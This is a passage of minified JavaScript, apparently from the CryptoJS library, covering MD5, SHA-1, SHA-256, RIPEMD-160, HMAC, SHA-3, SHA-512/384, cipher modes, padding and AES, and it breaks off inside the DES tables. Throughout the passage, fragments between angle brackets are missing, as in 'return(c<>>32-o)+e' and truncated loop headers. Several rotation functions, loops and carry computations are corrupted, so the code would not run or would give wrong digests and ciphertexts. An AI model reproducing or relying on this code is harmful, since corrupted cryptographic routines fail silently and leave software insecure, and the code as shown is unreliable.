c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395